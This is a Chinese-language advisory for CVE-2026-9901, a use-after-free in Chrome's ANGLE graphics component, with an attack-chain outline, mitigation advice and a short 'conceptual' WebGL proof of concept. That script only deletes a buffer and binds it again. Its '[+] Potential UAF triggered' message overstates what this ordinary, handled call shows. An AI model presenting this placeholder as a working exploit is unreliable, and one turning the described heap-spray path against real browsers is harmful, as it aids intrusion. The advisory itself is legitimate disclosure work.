CVE-2026-9901 CVSS 7.5 高危

CVE-2026-9901 Google Chrome ANGLE组件释放后重用漏洞

披露日期: 2026-05-28

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-9901

漏洞类型

释放后重用

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome

漏洞概述

CVE-2026-9901是Google Chrome浏览器中ANGLE组件存在的高危释放后重用漏洞。在版本148.0.7778.216之前，远程攻击者可利用特制的HTML页面，在已攻陷渲染进程的情况下，触发该漏洞执行任意代码，严重影响系统安全。

技术细节

该漏洞源于Google Chrome的ANGLE（Almost Native Graphics Layer Engine）组件在处理图形渲染时的内存管理错误，具体表现为释放后重用。漏洞利用的必要前提是攻击者已经成功攻陷了浏览器的渲染进程。在此前提下，攻击者构造恶意的HTML页面，利用特定的WebGL指令序列触发ANGLE组件中的逻辑缺陷。程序在内存对象被释放后未将引用指针置空，后续操作再次访问该指针时，攻击者可通过堆喷射等技术控制该内存区域的数据，进而劫持执行流，实现任意代码执行。

攻击链分析

STEP 1

步骤1

攻击者首先利用其他漏洞攻陷Chrome浏览器的渲染进程。

STEP 2

步骤2

攻击者诱导用户访问包含恶意WebGL代码的HTML页面。

STEP 3

步骤3

恶意代码触发ANGLE组件中的释放后重用（UAF）漏洞，访问已释放的内存对象。

STEP 4

步骤4

攻击者利用该内存破坏缺陷，在渲染进程上下文中执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-9901 (Conceptual) -->
<html>
<body>
<script>
    // Step 1: Create a WebGL context to interact with ANGLE
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');

    if (!gl) {
        console.log("WebGL not supported");
    } else {
        // Step 2: Create and manipulate a buffer object in ANGLE
        const buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW);

        // Step 3: Trigger the vulnerability (Use-After-Free)
        // In the vulnerable version, specific operations cause the buffer to be freed
        // while a reference to it still exists in the compromised renderer.
        gl.deleteBuffer(buffer);

        // Step 4: Attempt to reuse the freed memory
        // If successful, this allows controlling the execution flow.
        try {
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            console.log("[+] Potential UAF triggered, memory accessed.");
        } catch (e) {
            console.log("[-] Operation failed: " + e.message);
        }
    }
</script>
</body>
</html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施

建议用户立即检查并更新Google Chrome浏览器到最新版本。由于该漏洞利用需要先攻陷渲染进程，保持浏览器开启自动更新并修复其他已知漏洞也是重要的防护手段。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表